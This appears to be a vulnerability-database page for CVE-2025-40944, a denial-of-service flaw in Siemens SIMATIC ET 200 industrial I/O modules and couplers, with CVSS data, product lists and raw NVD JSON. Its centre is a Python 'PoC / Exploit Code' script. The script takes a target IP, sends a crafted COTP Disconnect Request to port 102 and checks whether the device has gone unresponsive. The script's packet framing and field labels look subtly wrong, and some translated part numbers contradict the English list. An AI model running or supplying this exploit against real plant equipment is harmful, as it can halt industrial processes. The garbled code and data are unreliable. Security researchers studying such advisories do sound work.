CVE-2025-40944

Description

A vulnerability has been identified in SIMATIC ET 200AL IM 157-1 PN (6ES7157-1AB00-0AB0) (All versions), SIMATIC ET 200MP IM 155-5 PN HF (6ES7155-5AA00-0AC0) (All versions >= V4.2.0), SIMATIC ET 200SP IM 155-6 MF HF (6ES7155-6MU00-0CN0) (All versions), SIMATIC ET 200SP IM 155-6 PN HA (incl. SIPLUS variants) (All versions < V1.3), SIMATIC ET 200SP IM 155-6 PN R1 (6ES7155-6AU00-0HM0) (All versions < V6.0.1), SIMATIC ET 200SP IM 155-6 PN/2 HF (6ES7155-6AU01-0CN0) (All versions >= V4.2.0), SIMATIC ET 200SP IM 155-6 PN/3 HF (6ES7155-6AU30-0CN0) (All versions < V4.2.2), SIMATIC PN/MF Coupler (6ES7158-3MU10-0XA0) (All versions), SIMATIC PN/PN Coupler (6ES7158-3AD10-0XA0) (All versions < V6.0.0), SIPLUS ET 200MP IM 155-5 PN HF (6AG1155-5AA00-2AC0) (All versions >= V4.2.0), SIPLUS ET 200MP IM 155-5 PN HF (6AG1155-5AA00-7AC0) (All versions >= V4.2.0), SIPLUS ET 200MP IM 155-5 PN HF T1 RAIL (6AG2155-5AA00-1AC0) (All versions >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF (6AG1155-6AU01-2CN0) (All versions >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF (6AG1155-6AU01-7CN0) (All versions >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF T1 RAIL (6AG2155-6AU01-1CN0) (All versions >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF TX RAIL (6AG2155-6AU01-4CN0) (All versions >= V4.2.0), SIPLUS NET PN/PN Coupler (6AG2158-3AD10-4XA0) (All versions < V6.0.0). Affected devices do not properly handle S7 protocol session disconnect requests. When receiving a valid S7 protocol Disconnect Request (COTP DR TPDU) on TCP port 102, the devices enter an improper session state. This could allow an attacker to cause the device to become unresponsive, leading to a denial-of-service condition that requires a power cycle to restore normal operation.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

SIMATIC ET 200AL IM 157-1 PN (6ES7157-1AB00-0AB0) - 所有版本

SIMATIC ET 200MP IM 155-5 PN HF (6ES7155-5AA00-0AC0) - V4.2.0及以上版本

SIMATIC ET 200SP IM 155-6 MF HF (6ES7155-6MU00-0CN0) - 所有版本

SIMATIC ET 200SP IM 155-6 PN HA - V1.3以下版本

SIMATIC ET 200SP IM 155-6 PN R1 (6ES7155-6AU00-0HM0) - V6.0.1以下版本

SIMATIC ET 200SP IM 155-6 PN/2 HF (6ES7155-6AU01-0CN0) - V4.2.0及以上版本

SIMATIC ET 200SP IM 155-6 PN/3 HF (6ES7155-6AU30-0CN0) - V4.2.2以下版本

SIMATIC PN/MF Coupler (6ES7158-3MU10-0XA0) - 所有版本

SIMATIC PN/PN Coupler (6ES7158-3AD10-0XA0) - V6.0.0以下版本

SIPLUS ET 200MP IM 155-5 PN HF (6AG1155-5AA00-2AC0) - V4.2.0及以上版本

SIPLUS ET 200MP IM 155-5 PN HF (6AG1155-5AA00-7AC0) - V4.2.0及以上版本

SIPLUS ET 200MP IM 155-5 PN HF T1 RAIL (6AG2155-5AA00-1AC0) - V4.2.0及以上版本

SIPLUS ET 200SP IM 155-6 PN HF (6AG1155-6AU01-2CN0) - V4.2.0及以上版本

SIPLUS ET 200SP IM 155-6 PN HF (6AG1155-6AU01-7CN0) - V4.2.0及以上版本

SIPLUS ET 200SP IM 155-6 PN HF T1 RAIL (6AG2155-6AU01-1AC0) - V4.2.0及以上版本

SIPLUS ET 200SP IM 155-6 PN HF TX RAIL (6AG2155-6AU01-4AC0) - V4.2.0及以上版本

SIPLUS NET PN/PN Coupler (6AG2158-3AD10-4XA0) - V6.0.0以下版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2025-40944 PoC - Siemens SIMATIC ET 200 S7 Protocol DoS
This PoC demonstrates sending a malformed COTP DR TPDU to trigger DoS condition.
Note: Use only for authorized security testing.
"""

import socket
import struct
import sys

def create_cotp_dr_tpdu():
    """
    Create a COTPDisconnectRequest (DR) TPDU
    COTP DR TPDU structure:
    - TPDU type: 0x80 (DR)
    - Length: 0x0a (10 bytes)
    - TPDU reference: 0x00
    - Disconnect reason: 0x00
    - Additional info length: 0x00
    """
    tpdu = bytes([
        0x80,  # TPDU type (DR = Disconnect Request)
        0x0a,  # Length indicator
        0x00,  # TPDU reference
        0x00,  # Disconnect reason
        0x00,  # Additional info length
        0x00, 0x00,  # Called TSAP (placeholder)
        0x00, 0x00,  # Calling TSAP (placeholder)
    ])
    return tpdu

def create_s7_connection_request():
    """
    Create initial S7 connection request to establish session
    """
    # S7COMM Header structure simplified
    header = bytes([
        0x03, 0x00,  # ROSCTR: Job
        0x00, 0x00,  # Redundancy identification
        0x00, 0x00,  # PDU reference
        0x00, 0x00,  # Parameter length
        0x00, 0x00,  # Data length
    ])
    return header

def exploit(target_ip, target_port=102):
    """
    Send malicious COTP DR TPDU to trigger DoS condition
    """
    print(f"[*] Target: {target_ip}:{target_port}")
    print(f"[*] CVE-2025-40944 Exploit - Sending malformed COTP DR TPDU")
    
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((target_ip, target_port))
        print("[+] Connected to target")
        
        # Send COTP DR TPDU to trigger the vulnerability
        cotp_dr = create_cotp_dr_tpdu()
        sock.send(cotp_dr)
        print("[+] Sent malicious COTP DR TPDU")
        
        # Wait and check if device is still responsive
        import time
        time.sleep(2)
        
        # Try to send another packet to check responsiveness
        try:
            sock.send(create_s7_connection_request())
            print("[!] Device may still be responsive")
        except:
            print("[+] DoS condition confirmed - device unresponsive")
        
        sock.close()
        
    except Exception as e:
        print(f"[-] Error: {e}")
        return False
    
    return True

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)
    
    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 102
    exploit(target, port)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-40944
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-40944
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-40944/
[4] VulDB https://vuldb.com/cve/CVE-2025-40944
[5] https://cert-portal.siemens.com/productcert/html/ssa-674753.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-40944", "sourceIdentifier": "[email protected]", "published": "2026-01-13T10:15:58.457", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in SIMATIC ET 200AL IM 157-1 PN (6ES7157-1AB00-0AB0) (All versions), SIMATIC ET 200MP IM 155-5 PN HF (6ES7155-5AA00-0AC0) (All versions >= V4.2.0), SIMATIC ET 200SP IM 155-6 MF HF (6ES7155-6MU00-0CN0) (All versions), SIMATIC ET 200SP IM 155-6 PN HA (incl. SIPLUS variants) (All versions < V1.3), SIMATIC ET 200SP IM 155-6 PN R1 (6ES7155-6AU00-0HM0) (All versions < V6.0.1), SIMATIC ET 200SP IM 155-6 PN/2 HF (6ES7155-6AU01-0CN0) (All versions >= V4.2.0), SIMATIC ET 200SP IM 155-6 PN/3 HF (6ES7155-6AU30-0CN0) (All versions < V4.2.2), SIMATIC PN/MF Coupler (6ES7158-3MU10-0XA0) (All versions), SIMATIC PN/PN Coupler (6ES7158-3AD10-0XA0) (All versions < V6.0.0), SIPLUS ET 200MP IM 155-5 PN HF (6AG1155-5AA00-2AC0) (All versions >= V4.2.0), SIPLUS ET 200MP IM 155-5 PN HF (6AG1155-5AA00-7AC0) (All versions >= V4.2.0), SIPLUS ET 200MP IM 155-5 PN HF T1 RAIL (6AG2155-5AA00-1AC0) (All versions >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF (6AG1155-6AU01-2CN0) (All versions >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF (6AG1155-6AU01-7CN0) (All versions >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF T1 RAIL (6AG2155-6AU01-1CN0) (All versions >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF TX RAIL (6AG2155-6AU01-4CN0) (All versions >= V4.2.0), SIPLUS NET PN/PN Coupler (6AG2158-3AD10-4XA0) (All versions < V6.0.0). Affected devices do not properly handle S7 protocol session disconnect requests. When receiving a valid S7 protocol Disconnect Request (COTP DR TPDU) on TCP port 102, the devices enter an improper session state.\r\n\r\nThis could allow an attacker to cause the device to become unresponsive, leading to a denial-of-service condition that requires a power cycle to restore normal operation."}, {"lang": "es", "value": "Se ha identificado una vulnerabilidad en SIMATIC ET 200AL IM 157-1 PN (6ES7157-1AB00-0AB0) (Todas las versiones), SIMATIC ET 200MP IM 155-5 PN HF (6ES7155-5AA00-0AC0) (Todas las versiones >= V4.2.0), SIMATIC ET 200SP IM 155-6 MF HF (6ES7155-6MU00-0CN0) (Todas las versiones), SIMATIC ET 200SP IM 155-6 PN HA (incl. variantes SIPLUS) (Todas las versiones < V1.3), SIMATIC ET 200SP IM 155-6 PN R1 (6ES7155-6AU00-0HM0) (Todas las versiones < V6.0.1), SIMATIC ET 200SP IM 155-6 PN/2 HF (6ES7155-6AU01-0CN0) (Todas las versiones >= V4.2.0), SIMATIC ET 200SP IM 155-6 PN/3 HF (6ES7155-6AU30-0CN0) (Todas las versiones < V4.2.2), SIMATIC PN/MF Coupler (6ES7158-3MU10-0XA0) (Todas las versiones), SIMATIC PN/PN Coupler (6ES7158-3AD10-0XA0) (Todas las versiones < V6.0.0), SIPLUS ET 200MP IM 155-5 PN HF (6AG1155-5AA00-2AC0) (Todas las versiones >= V4.2.0), SIPLUS ET 200MP IM 155-5 PN HF (6AG1155-5AA00-7AC0) (Todas las versiones >= V4.2.0), SIPLUS ET 200MP IM 155-5 PN HF T1 RAIL (6AG2155-5AA00-1AC0) (Todas las versiones >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF (6AG1155-6AU01-2CN0) (Todas las versiones >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF (6AG1155-6AU01-7CN0) (Todas las versiones >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF T1 RAIL (6AG2155-6AU01-1CN0) (Todas las versiones >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF TX RAIL (6AG2155-6AU01-4CN0) (Todas las versiones >= V4.2.0), SIPLUS NET PN/PN Coupler (6AG2158-3AD10-4XA0) (Todas las versiones < V6.0.0). Los dispositivos afectados no gestionan correctamente las solicitudes de desconexión de sesión del protocolo S7. Al recibir una solicitud de desconexión válida del protocolo S7 (COTP DR TPDU) en el puerto TCP 102, los dispositivos entran en un estado de sesión inadecuado.\n\nEsto podría permitir a un atacante hacer que el dispositivo deje de responder, lo que lleva a una condición de denegación de servicio que requiere un ciclo de encendido/apagado para restaurar el funcionamiento normal."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPr ... (truncated)